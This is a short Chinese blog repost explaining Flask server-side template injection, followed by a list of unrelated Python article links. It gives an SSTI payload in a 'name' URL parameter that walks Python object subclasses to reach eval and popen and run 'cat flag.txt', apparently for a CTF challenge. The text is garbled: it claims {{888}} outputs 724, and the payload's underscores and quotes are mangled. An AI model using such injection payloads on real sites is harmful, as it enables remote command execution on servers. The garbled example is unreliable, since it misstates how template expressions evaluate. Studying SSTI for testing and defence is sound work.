Flask SSTI利用方式探索

网站前后端的原因,全部的逻辑都放在了前端或者后端的话,就会造成执行的过于繁杂,所以我们就诞生了模板这一个东西,他可以将前端的显示和后端的代码分离,(就是让前端的工作人员注重表现设计,后端人员注重业务逻辑)同时简化代码的复杂程度,

本质上的模板就是将莫办文件和数据通过模板引擎生成最终的html代码
(注重一个点,渲染)

Flask SSTI利用方式探索
{{…}}这个就是我们经常用到的一个语句,比如{{888}}就会输出724
大部分其实就是因为模板本身的后端是支持这些东西的
Flask SSTI利用方式探索
其实就是对信息执行条件的不一样,造成了我们进行信息输入的时候,后端可能把他当成代码执行
Flask SSTI利用方式探索
就是把session分成了三部分这么回事
Flask SSTI利用方式探索
这里就是可以执行代码的地方
Flask SSTI利用方式探索
Flask SSTI利用方式探索
比如这个东西,我们其实{{().
class. bases[0]. subclasses()[182]. init. globals. builtins* ‘eval’}}
这个括号先加上,然后.点代表我们函数的那种递进关系就像xxx.xxx.xxx,然后【】括号代表查询并使用他的第几个子函数,我们也可以直接执行之类的

?name={{(). class. bases[0]. subclasses()[182]. init. globals. builtins‘eval’.popen(‘cat flag.txt’).read()”)}}

Original: https://blog.csdn.net/qq_50613938/article/details/122321147
Author: 落夜雨
Title: Flask SSTI利用方式探索

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/750217/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • python变量作用域查找顺序以及可能出现的问题

    当前作用域为函数作用域,某变量名指向一个局部变量,而此变量在被使用前尚未绑定到特定值,将会引发 **UnboundLocalError**错误 e.g. var = 100 def…

    Python 2023年6月12日
    060
  • python 数据分割_python 数据提取及拆分

    K线数据提取 依据原有数据集格式,按要求生成新表: 1、每分钟的close数据的第一条、最后一条、最大值及最小值, 2、每分钟vol数据的增长量(每分钟vol的最后一条数据减第一条…

    Python 2023年8月7日
    039
  • 文件概述

    我们这里讨论的文件并不是文件夹中的纸质文件,特指计算机中的文件。 那计算机中的文件到底是什么呢? 什么是文件 计算机文件是存储在存储器上的数据序列,可以包含任何数据内容。 概念上,…

    Python 2023年6月11日
    055
  • Python打包exe可执行程序及常见问题

    1)安装pyinstaller 打包成exe文件需要使用pyinstaller模块,可通过pip安装 pip install pyinstaller 2)打包 常用参数(重点为加粗…

    Python 2023年8月28日
    048
  • Scrapy——爬虫部署、定时任务

    启动SpiderKeeper服务,scrapyd需提前启动 spiderkeeper –server=http://x.x.x.x:8868 在 你的scrapy爬虫项目下执行命…

    Python 2023年10月2日
    047
  • 前向传播mnist数据集加入训练部分

    import osimport lr as lrimport tensorflow as tffrom pyspark.sql.functions import stddevfro…

    Python 2023年10月29日
    033
  • pandas Series和DataFrame的详细使用说明

    Series是一个类似于一维数组的对象,能同时存储不同类型的数据 from pandas import Series s=Series(data=[1,2,3,’da’],inde…

    Python 2023年8月16日
    070
  • Pandas的主要数学计算方法

    可用于Series和DataFrame df = pd.DataFrame({‘key1’:np.arange(10), ‘key2’:np.random.rand(10)*10}…

    Python 2023年8月18日
    053
  • 【Java 数据结构】-二叉树OJ题

    作者:学Java的冬瓜博客主页:☀冬瓜的主页🌙专栏:【Java 数据结构】分享:宇宙的最可理解之处在于它是不可理解的,宇宙的最不可理解之处在于它是可理解的。——《乡村教师》主要内容…

    Python 2023年9月29日
    043
  • [5道][新手向]Python新手小题

    老总们!给个赞吧! 创建列表number,向内赋值1,2,3,4,5,6,并在控制台打印number列表里的数字3 请选正确的答案() A.number = [1,2,3,4,5,…

    Python 2023年9月19日
    039
  • bilibili视频学习-numpy

    学习python的numpy库的一些笔记 import numpy as np import pandas as pd import matplotlib.pyplot as pl…

    Python 2023年8月26日
    030
  • Pandas——Excel技术总结

    首先导入模块 import pandas as pd 使用read_excel的最简单方法是将文件名作为字符串传递。 如果我们不传递任何其他参数(例如工作表名称),它将读取索引中的…

    Python 2023年8月22日
    038
  • python draw颜色_python – 在draw_networkx和matplotlib中设置颜色

    我正在绘制两种类型的图形,我想要对齐颜色: networkx.Graph中的节点颜色,和 普通情节中pyplot.hlines的颜色. 这两个数字都依赖于一个字典,其中node_n…

    Python 2023年9月7日
    052
  • 四十一、django框架简介

    django简介 一 python主流框架 二 django基本操作命令 三 命令行与pycharm的区别 四 django目录结构 五 django三板斧 六 静态文件及相关配置…

    Python 2023年8月15日
    053
  • Pandas知识点-合并操作merge

    Pandas知识点-合并操作merge merge()方法是Pandas中的合并操作,在数据处理过程中很常用,本文介绍merge()方法的具体用法。 一、基础合并操作 merge(…

    Python 2023年8月8日
    050
  • Python ❀ 面向对象(三)

    Python学习计划(十一) 一、异常简介异常,即程序出现错误。 二、捕获异常一旦发生异常,如果不进行处理,程序就会中断。 [En] Once an exception occur…

    Python 2023年5月25日
    088
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球